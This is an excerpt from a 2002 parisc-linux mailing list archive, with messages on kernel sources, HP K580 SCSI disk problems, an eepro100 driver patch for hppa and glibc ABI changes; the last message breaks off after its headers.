> 2.4.19. I downloaded the vanilla kernel sources but it does not compile 
> with the gcc-3.0.4. Do I have to use the special -pa kernel from cvs or 
> should it also work with the normal kernel sources? The main reason for 
> this update is to get the HIL mouse working.
> 
> Chris
>

A vanilla kernel is not quite up to date :)

The best source for the most recent changes is:
http://cvs.parisc-linux.org

You can get instructions on CVS downloading/building from:
http://www.parisc-linux.org/kernel/index.html

Cheers,
Carlos.



From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS: thanks for patch
Date: Mon, 26 Aug 2002 17:08:10 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <3D53B3B700006FEA@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621650 12942 80.91.229.3 (22 Nov 2014 02:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 09:08:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE5F0482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 09:08:12 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 26 Aug 2002 17:08:10 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15911

Hi all,

Thanks a lot to make pa patch available (in ftp.parisc-linux.org/cvs).

That will allow to save place and more than all it will give me more time
to test (better than wait the end of a download).

Very great,
    Joel



From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Mon, 26 Aug 2002 09:38:40 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020826153840.905F0482B@dsl2.external.hp.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621650 12944 80.91.229.3 (22 Nov 2014 02:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:50 +0000 (UTC)
Cc: a_eisner@eisner.com, parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 09:38:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 905F0482B; Mon, 26 Aug 2002 09:38:40 -0600 (MDT)
In-Reply-To: Message from Steve.Grady@csiro.au 
   of "Mon, 26 Aug 2002 11:03:18 +1000." <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15912

Steve.Grady@csiro.au wrote:
> > "First try." The internal disk drives in the K580 are fast wide 
> > differential. The differential is high voltage differential, not low 
> > voltage differential. Could be that the Maxtor 4.5GB UW is 
> > the wrong type.
> Well I hope I have not damaged the drive

HP tested that. The NCR 53cxxx chips "tristate" the bus when
the wrong signaling is used. You can smoke devices by adding/removing
termination will the bus is active (ie disconnect a cable).

grant


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Mon, 26 Aug 2002 10:10:49 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20020826161049.6162B482B@dsl2.external.hp.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au>  <20020826153840.905F0482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621650 12946 80.91.229.3 (22 Nov 2014 02:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 10:10:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6162B482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 10:10:49 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Mon, 26 Aug 2002 09:38:40 MDT." <20020826153840.905F0482B@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15913

Grant Grundler wrote:
> HP tested that. The NCR 53cxxx chips "tristate" the bus when
> the wrong signaling is used. You can smoke devices by adding/removing
> termination will the bus is active (ie disconnect a cable).

s/will/while/

grant


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Mon, 26 Aug 2002 12:14:54 -0600
Lines: 78
Approved: news@gmane.org
Message-ID: <20020826181454.1EA0A4829@dsl2.external.hp.com>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621651 12947 80.91.229.3 (22 Nov 2014 02:00:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:51 +0000 (UTC)
Cc: jgarzik@mandrakesoft.com
To: parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 12:14:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1EA0A4829; Mon, 26 Aug 2002 12:14:54 -0600 (MDT)
In-Reply-To: Message from Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de> 
   of "Sun, 18 Aug 2002 00:37:15 +0200." <20020817223713.GA25852@gate450.dyndns.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15914

Andreas Seltenreich wrote:
> just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
> I got mine working that way.

For some definition of "working".
That #ifdef "forces" the RX copy *most* of the time.
If the dev_alloc_skb() call fails , the "broken" code path is taken anyway.

The code needs to differentiate architectures that *could* (but it's not
efficient) avoid the copy from architectures that *must* copy.

Patch below assumes the archs listed in the ifdef *must* copy.
If the dev_alloc_skb() fails, we drop the packet and update stats.
Not sure if I'm doing the right thing in the failure case though...

grant


Index: drivers/net/eepro100.c
===================================================================
RCS file: /var/cvs/linux/drivers/net/eepro100.c,v
retrieving revision 1.17
diff -u -p -r1.17 eepro100.c
--- drivers/net/eepro100.c	4 Aug 2002 22:58:29 -0000	1.17
+++ drivers/net/eepro100.c	26 Aug 2002 17:25:58 -0000
@@ -1,4 +1,3 @@
-/* drivers/net/eepro100.c: An Intel i82557-559 Ethernet driver for Linux. */
 /*
    NOTICE: For use with late 2.3 kernels only.
    May not compile for kernels 2.3.43-47.
@@ -43,11 +42,13 @@ static int rxdmacount /* = 0 */;
 
 /* Set the copy breakpoint for the copy-only-tiny-buffer Rx method.
    Lower values use more memory, but are faster. */
+static int rx_copybreak = 200;
+
 #if defined(__alpha__) || defined(__sparc__) || defined(__mips__) || \
-    defined(__arm__)
-static int rx_copybreak = 1518;
+    defined(__arm__) || defined(__hppa__)
+#define RX_COPY(x)		1
 #else
-static int rx_copybreak = 200;
+#define RX_COPY(x) (x < rx_copybreak)
 #endif
 
 /* Maximum events (Rx packets, etc.) to handle at each interrupt. */
@@ -1760,10 +1761,17 @@ speedo_rx(struct net_device *dev)
 		} else {
 			struct sk_buff *skb;
 
-			/* Check if the packet is long enough to just accept without
-			   copying to a properly sized skbuff. */
-			if (pkt_len < rx_copybreak
-				&& (skb = dev_alloc_skb(pkt_len + 2)) != 0) {
+			/* Check if the packet is long enough to just accept
+			 * without copying to a properly sized skbuff.
+			 */
+			if (RX_COPY(pkt_len)) {
+				skb = dev_alloc_skb(pkt_len + 2);
+				if (!skb) {
+					printk(KERN_ERR "%s: dropping packet,"
+						"no user space buffer!",
+						status);
+					goto update_stats;
+				}
 				skb->dev = dev;
 				skb_reserve(skb, 2);	/* Align IP on 16 byte boundaries */
 				/* 'skb_put()' points to the start of sk_buff data area. */
@@ -1797,6 +1805,7 @@ speedo_rx(struct net_device *dev)
 			sp->stats.rx_packets++;
 			sp->stats.rx_bytes += pkt_len;
 		}
+update_stats:
 		entry = (++sp->cur_rx) % RX_RING_SIZE;
 		sp->rx_ring_state &= ~RrPostponed;
 		/* Refill the recently taken buffers.


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Breaking PARISC ABI - Testing procedures?
Date: Mon, 26 Aug 2002 15:41:35 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20020826194135.GC632__3781.57437448881$1416621651$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621651 12951 80.91.229.3 (22 Nov 2014 02:00:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-glibc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 13:43:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FB3A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 13:43:54 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17jPjz-0000ez-00; Mon, 26 Aug 2002 15:41:35 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-glibc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15915

debian-gcc,

I sense another PARISC ABI breakage coming in the very near
future. The ABI breakage is caused by the following three
items:

1- setjmp/longjmp implementation is flawed (Testing)
2- mcontext_t is incorrect in glibc (BTS #157374)
3- sizeof(long double) is incorrect in gcc and glibc (?)

My main question is:

How does one run a preliminary test to ferret out
possibly problems that were not forseen?

My current procedure is to build a new glibc, create
a chroot, install glibc there and begin building things.

Does anyone have a general procedure for this? Or is
this what experimental or unstable is about? :/  

---

I'm working on providing various test cases for "1-" and 
I already have a patch in my local glibc tree (the initial
patch made the mistake of not allocating enough room for
jmpbuf - kudos to Randolph for noticing that during RFC).

I have a patch for "2-" and it works, but we have a kernel
bug when copying registers into the sigcontext that gets
passed back to a 32-bit userspace from a 64-bit kernel.
Luckily the old definition of mcontect_t matches the new
sigcontext typedef for accesses to general registers and
floating point registers, so we maintain backwards compat
in that scenario. I would like to note that it has never
worked when running a 64-bit kernel under parisc :}

The last issue will get fixed when I get around to poking
changes at gcc.

c.



From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-source-2.4.19  ... no -hppa this time?
Date: 26 Aug 2002 14:43:49 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <87wuqde4fu.fsf@rover.gag.com>
References: <20020823091741.A15239@taurus.nairnconsulting.ca>
	<Pine.LNX.4.21.0208262154180.9376-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621651 12955 80.91.229.3 (22 Nov 2014 02:00:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 14:43:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from winfree.gag.com (winfree.gag.com [192.133.104.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 764444829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 14:43:50 -0600 (MDT)
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 7479FC190
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 14:43:49 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 1DC7543EAA; Mon, 26 Aug 2002 14:43:49 -0600 (MDT)
In-Reply-To: <Pine.LNX.4.21.0208262154180.9376-100000@hal.pp.fishpool.fi>
Original-Lines: 13
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15916

q-funk@pp.fishpool.fi (Martin-=C9ric Racine) writes:

> I noticed that kernel-source-2.4.19 made its ways into the Sarge/testing=
=20
> tree, but I see no specific package for hppa, this time.=20=20

bdale@auric:~$ madison kernel-source-2.4.19-hppa
kernel-source-2.4.19-hppa |        4.1 |      unstable | all

The kernel-source-2.4.19-hppa binary package is derived from the source
package kernel-image-2.4.19-hppa, which was just accepted into sid (unstabl=
e).
It will take some time for that to be promoted into testing...

Bdale


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Mon, 26 Aug 2002 13:50:41 -0700 (PDT)
Lines: 208
Approved: news@gmane.org
Message-ID: <20020826205041.96985.qmail@web12507.mail.yahoo.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621652 12958 80.91.229.3 (22 Nov 2014 02:00:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au, a_eisner@eisner.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 14:50:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id B05854829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 14:50:42 -0600 (MDT)
Original-Received: from [24.197.204.51] by web12507.mail.yahoo.com via HTTP; Mon, 26 Aug 2002 13:50:41 PDT
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC4@wing-ep.tip.csiro.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15917

I have the proper intenal cable for a K-Class in my spare parts case in
my van.  I think I have a couple of them in there for emergencies.  I
could spare one, but I guess you would have to be willing to pay for
shipping to the land of the Aussies.... ;)  Having worked on litterally
thousands of K-Class servers, I have never seen a drive smoke as a
result of the wrong termination or wrong type of bus.  I have however
seen it smoke the interface it was plugged into.  Usually it blows the
fuse on the board for the scsi bus.  Sometimes that fuse is replaceable
sometimes not.  The fuse for the K-Class internal disks is located on
the Core I/O board.  It's got a clear top/black bottom and just pulls
out of it's socket.  It has 2 legs that you should be carefull not to
break.  You can Ohm it with an Ohm meter to see if it's opened up or
not.  I would check with the Maxtor site and reference the model number
of the drive to find out whether or not it's LVD or HVD.  HVD is what
you need.  If the bus speed is 40MB/s than it's HVD.  If it's 80MB/s or
higher it's LVD and not useable unless you connect it to the single
ended bus.  HP does not support 3rd party boot disks as a general rule
and most drives will not boot HP-UX without HP firmware in them.  That
HP firmware is usually on Seagate or IBM disks.  HP has used Quantums
and others in it's workstations and even in that case it is a different
firmware level than in the servers.  Don't know if the drive not having
HP firmware could be an issue too.  If the fuse is blown I could drop
one of those in the box too.....have a bag of those laying around and
we don't replace fuses anymore.  Board swaps only even if it's just the
fuse that is blown.

derek

--- Steve.Grady@csiro.au wrote:
> 
> 
> > -----Original Message-----
> > From: Averell Eisner [mailto:a_eisner@eisner.com]
> > Sent: Monday, 26 August 2002 8:27 AM
> > To: Steve.Grady@csiro.au
> > Cc: parisc-linux@lists.parisc-linux.org
> > Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
> > 
> > 
> > Possible issues:
> > 
> > "First try." The internal disk drives in the K580 are fast wide 
> > differential. The differential is high voltage differential, not
> low 
> > voltage differential. Could be that the Maxtor 4.5GB UW is 
> > the wrong type.
> 
> 
> Well I hope I have not damaged the drive
> 
> 
> > 
> > "Second try." The normal cable in the K580 that goes to the 
> > tape and CD 
> > only has two open scsi connections plus the terminator. One 
> > connection 
> > for tape, another for the CD. Did you substitute another cable with
> a 
> > third open scsi connection?
> 
> 
> Yes I substituted another cable (It did not come with any cables,
> they were
> removed with the drive)
> It was properly terminated by an external terminator. As I said after
> boot
> from the CD a drive on the
> single ended bus was detected ( and the CD and Tape) by the kernel
> but was
> not detected by boot.
> 
> It has been suggested by someone else (they did not reply to list)
> that I
> boot from CD which seems to me
> the easiest work-around.
> 
> Thank for the assistance,
> 
> 
> Steve Grady
> 
> > 
> > Just guessing.
> > 
> > Averell
> > Steve.Grady@csiro.au wrote:
> > 
> > > Hi,
> > > 
> > > I got my hands on a K580 Quad processors, 4G Ram, CD, DDS3 
> > Tape drive,
> > > 2 Fibre Channels on HSC, Dual 100BaseT network connectors on HSC,
> > > FW SCSI on HSC and 2 SCSI interface on HPPB (OK I know the 
> > HPPB is not
> > > supported)
> > > but no hard disks.
> > > 
> > > Previously I have installed PA-Linux on a 735/125.
> > > 
> > > I am trying to install 
> > palinux-2.4.18-pa59-ppc-20020728-netinstall image on
> > > the K580
> > > I am using a variety of SCSI disks I am trying to install 
> > to but I am having
> > > problems.
> > > 
> > > The disks are being installed internally on the K580. I 
> > have downloaded the
> > > users guide
> > > from docs.hp.com.
> > > 
> > > First Try
> > > 
> > > I installed Tape and CD to Single ended bus of the Disk 
> > cage and install a
> > > Maxtor Altas II
> > > 4.5G UW to ultra wide bus of Disk Cage and yes the cable 
> > was terminated.
> > > 
> > > The boot process found the CD, DDS3 but not the disk. I 
> > could boot from CD
> > > but the installer 
> > > complained about on disk.
> > > 
> > > Second Try
> > > 
> > > I installed Tape and CD to Single ended bus of the Disk 
> > cage and install a
> > > Seagate
> > > 2.1G SE to SE bus of Disk Cage in parallel with the CD and Tape.
> > > 
> > > The boot process found the CD, DDS3 but not the disk. I 
> > could boot from CD
> > > but the installer 
> > > found the disk CD and Tape. I installed to disk and at 
> > reboot boot could not
> > > find the disk
> > > only the tape and the CD.
> > > 
> > > All other trys
> > > 
> > > I have tried various combinations but have not succeed in 
> > get the boot to
> > > recognised the
> > > hard disk. I cannot get Pa-linux to recognised the Ultra 
> > Wide bus which
> > > leaves me to question
> > > whether it is supported or do I have a hardware problem.
> > > 
> > > The Boot reports through its Search for Boot devices 
> > function that it finds
> > > 
> > > The 2 FC devices
> > > the Lan (which I assume is the 10BaseT on the Core IO not 
> > the 100BaseT)
> > > a sequential device (Tape Drive)
> > > a random device (CD)
> > > 
> > > The primary boot device at present seems to me to be set up 
> > for the Fibre
> > > Channel
> > > (I think the I am not used to the addressing).
> > > 
> > > I have thought of Rboot or tftboot the K580 from the 
> > 735 and then the
> > > kernel will
> > > recognise the disk. But this is not useful in the long 
> > term as I may get
> > > rid of the 735
> > > and my Intel box which is my main server as I want to make 
> > the K580 my main
> > > server.
> > > 
> > > Any help or suggestions would be appreciated,
> > > 
> > > 
> > > Steve Grady
> > > 
> > > BTW Thanks for a great port my little 735 just sits there 
> > and works (mostly
> > > running SETI)
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > 
> > > 
> > 
> > 
> > -- 
> > Averell
> > 
> > Eisner Associates, Inc.			Phone: 908-233-6585
> > 516 North Ave. East			FAX:   908-233-0710
> > P.O. Box 2489
> > Westfield, NJ 07090
> > 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Compiling glide-2001.01.26 on hppa
Date: Tue, 27 Aug 2002 00:02:21 -0400 (EDT)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0208270001180.28522-100000__42643.5312525884$1416621652$gmane$org@spawn.hockeyfiend.com>
References: <20020824223751.GA16590@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621652 12960 80.91.229.3 (22 Nov 2014 02:00:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:52 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	"B. Douglas Hilton" <bdhilton@charter.net>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 26 22:02:40 2002
